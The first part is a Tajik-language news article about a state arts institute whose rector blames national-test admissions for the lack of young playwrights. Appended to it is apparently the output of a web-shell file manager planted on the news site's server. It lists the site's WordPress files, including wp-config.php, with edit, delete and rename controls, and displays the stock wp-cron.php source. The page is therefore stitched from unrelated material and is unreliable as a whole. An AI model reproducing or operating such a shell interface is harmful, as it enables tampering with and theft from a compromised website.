Донишкадаи фарҳанг ва санъат: Драматургони ҷавонро интизорем
Дар Донишкадаи давлатии фарҳанг ва санъати Тоҷикистон ба номи Мирзо Турсунзода солиёни зиёд аст шуъбаи драматургия фаъолият мекунад, аммо аз чӣ бошад, ки наметавонад драматургони ҳирфаиро ба ҷомеа пешниҳод намояд. Дар нишасти матбуотӣ, ки 7-уми феврал дар донишкадаи мазкур баргузор гардид, хабарнигори ҳафтаномаи “Адабиёт ва санъат” ин масъаларо ба миён гузошт. Посухи ректори донишкада Муҳриддин Низомӣ чунин буд:
– Сабаби муваффақ нашудани мо дар самти тарбияи драматургони ҷавон ин аст, ки қабули донишҷӯён тариқи Маркази миллии тестӣ сурат мегирад. Душвор аст тавассути Маркази миллии тестӣ пайдо кардани донишҷӯёни дар ҳақиқат сазовор ба ин бахш. Ҳарчанд барои корҳои фаҳмондадиҳӣ дар муассисаҳои таълимӣ ва шинос намудани довталабони оянда бо бахшу шуъбаҳое, ки дар донишкадаи мо фаъолият менамоянд, борҳо устодони соҳибтаҷриба ва соҳибихтисос пешбарӣ шуда бошанд ҳам, довталабоне, ки ба шуъбаи мазкур дохил мешаванд, дониши казоӣ надоранд ва баъд аз чанд моҳи таҳсил тарки шуъба ё донишкада мекунанд. Устодон аз дониши сусти довталабон дар шуъбаҳои дигари эҷодӣ чун риштаи актёрӣ низ пайваста шикоят менамоянд. Ба гуфтаи онҳо, баъзе аз донишҷӯёни тавассути Маркази миллии тестӣ қабулгардида ҳатто қобилияти хондани китобро надоранд. Раёсати донишкада чанд маротиба ба Вазорати фарҳанги ҷумҳурӣ муроҷиат намуд, то ки имтиҳонҳои шуъбаҳои эҷодии донишкада аз Маркази миллии тестӣ бардошта ва ба уҳдаи устодони соҳа вогузошта шавад, аммо мутаассифона, ин талаби мо ба иҷро расонида намешавад. Дар Маркази миллии тестӣ кластери мо бо кластери факултаҳои филологияи дигар муассисаҳои олӣ (Донишгоҳи миллии Тоҷикистон ва Донишгоҳи омӯзгорӣ дар назар аст) дар як рӯйхат меистанд ва довталабони дорои дониши васеътар, ки холҳои балантарро соҳиб мегарданд, ба ин донишгоҳҳо дохил мешаванд. Довталабоне, ки ба донишкадаи мо меоянд, аксаран онҳоеанд, ки холҳои нисбатан пастро ба даст овардаанд ва табиист, ки қуввату тавонашон барои идомаи таҳсил намерасад.
Тавре ба ҳама маълум аст, драматургия омӯзиш ва мутолиаи зиёдро талаб мекунад.
Мижгон ХАЛИЛЗОДА, “АС”
- Таблиғ -
Подпишитесь на обновления материалов сайта adab.tj на ваш электронный ящик.
- Таблиғ -
Current Dir: /var/www/adab.tj/html/
[FILE] .htaccess [ edit | delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wordpress-6.7.1-ru_RU.zip [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR] wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR] wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR] wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[DIR] www [ delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]
Viewing: /var/www/adab.tj/html/wp-cron.php
<?php
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
ignore_user_abort( true );
if ( ! headers_sent() ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}
// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
litespeed_finish_request();
}
if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
die();
}
/**
* Tell WordPress the cron task is running.
*
* @var bool
*/
define( 'DOING_CRON', true );
if ( ! defined( 'ABSPATH' ) ) {
/** Set up WordPress environment */
require_once __DIR__ . '/wp-load.php';
}
// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );
/**
* Retrieves the cron lock.
*
* Returns the uncached `doing_cron` transient.
*
* @ignore
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
*/
function _get_cron_lock() {
global $wpdb;
$value = 0;
if ( wp_using_ext_object_cache() ) {
/*
* Skip local cache and force re-fetch of doing_cron transient
* in case another process updated the cache.
*/
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) ) {
$value = $row->option_value;
}
}
return $value;
}
$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
die();
}
$gmt_time = microtime( true );
// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );
// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET['doing_wp_cron'] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
return;
}
$doing_wp_cron = sprintf( '%.22F', microtime( true ) );
$doing_cron_transient = $doing_wp_cron;
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET['doing_wp_cron'];
}
}
/*
* The cron lock (a unix timestamp set when the cron was spawned),
* must match $doing_wp_cron (the "key").
*/
if ( $doing_cron_transient !== $doing_wp_cron ) {
return;
}
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time ) {
break;
}
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule ) {
$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when rescheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_reschedule_event_error', $result, $hook, $v );
}
}
$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when unscheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_unschedule_event_error', $result, $hook, $v );
}
/**
* Fires scheduled events.
*
* @ignore
* @since 2.1.0
*
* @param string $hook Name of the hook that was scheduled to be fired.
* @param array $args The arguments to be passed to the hook.
*/
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() !== $doing_wp_cron ) {
return;
}
}
}
}
if ( _get_cron_lock() === $doing_wp_cron ) {
delete_transient( 'doing_cron' );
}
die();